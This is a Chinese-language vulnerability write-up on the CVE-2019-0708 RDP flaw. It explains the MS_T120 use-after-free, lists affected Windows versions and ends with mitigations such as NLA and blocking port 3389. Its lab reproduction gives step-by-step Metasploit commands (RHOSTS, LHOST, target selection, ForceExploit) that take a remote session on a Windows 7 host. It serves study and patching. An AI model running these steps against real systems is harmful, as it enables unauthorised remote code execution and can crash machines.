概要
CVE-2019-0708漏洞是通过检查用户的身份认证,导致可以绕过认证,不用任何的交互,直接通过rdp协议进行连接发送恶意代码执行命令到服务器中去。
原理
存在漏洞的远程桌面服务器,在接收到特殊数据包时会释放一个内部信道 MS_T120 的控制结构体,但并未将指向该结构体的指针删除,而且在远程桌面连接结束之后还会调用 MS_T120 结构体内的一个函数指针,若攻击者可通过远程发送数据重新占据被释放的 MS_T120,并为结构体内的函数指针赋恰当的值,即可实现远程命令执行。
影响版本
Windows 7
Windows Server 2008
Windows Server 2008 R2
Windows Server 2003
Windows XP
漏洞复现
靶机:192.168.0.130(Windows7 企业版)
攻击机:192.168.0.1
1、攻击机启用msf,搜索cve-2019-0708
2、使用模块0进行漏洞探测,设置目标IP:set RHOSTS 192.168.0.130,可以看到目标IP存在该漏洞。
3、检测目标存在漏洞后,使用模块1进行攻击,设置攻击目标和攻击IP
use 1
set RHOSTS 192.168.0.130
set LHOST 192.168.0.1
4、可以看到攻击完成,但是没有成功创建会话,通过分析告警提示,是需要指定一下目标攻击框架,这里再设置一下攻击框架,再发起攻击就可以成功获取到会话了。
show targets
set target 2
set ForceExploit true
run
5、其实开启防火墙和杀毒软件也可以成功,但是攻击需要多次尝试,可能不会一次就成功,失败会导致目标直接蓝屏
修复建议
1.禁用远程桌面服务。
2.在运行受支持版本的 Windows 7、Windows Server 2008 和 Windows Server 2008 R2 的系统上启用网络级身份验证 (NLA)
3.在边界防火墙处阻止 TCP 端口 3389